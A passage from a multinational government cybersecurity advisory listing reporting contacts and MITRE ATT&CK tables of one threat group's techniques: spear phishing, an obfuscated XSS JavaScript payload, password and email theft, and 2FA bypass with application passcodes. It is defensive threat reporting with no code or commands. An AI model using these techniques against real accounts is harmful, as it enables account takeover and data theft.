<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank"><u>T1587.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel payload that steals a victim’s emails and other sensitive account information. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Exploits </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank"><u>T1587.004</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Tool </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank"><u>T1588.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Open source tools, such as Evilginx2, have also been used by the group. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obtain Capabilities: Artificial Intelligence </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank"><u>T1588.007</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group appears to have leveraged AI to support development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Stage Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1608/" target="_blank"><u>T1608</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Flowerbed is deployed to a procured server in the cloud. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 11: Initial Access </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Trusted Relationship </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank"><u>T1199</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Phishing </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank"><u>T1566</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The actors used spear phishing to lure users into opening malicious email. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 12: Execution </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Exploitation for Client Execution </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank"><u>T1203</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>An XSS vulnerability was leveraged to execute the JavaScript payload. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 13: Persistence </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Account Manipulation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank"><u>T1098</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Enabling IMAP and Application Passcodes provides persistent access to the compromised account. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Modify Authentication Process: Multi-Factor Authentication </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank"><u>T1556.006</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 14: Privilege Escalation </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Valid Accounts </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank"><u>T1078</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 15: Stealth </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Command Obfuscation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank"><u>T1027.010</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: Encrypted/Encoded File </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank"><u>T1027.013</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Obfuscated Files or Information: SVG Smuggling </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank"><u>T1027.017</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
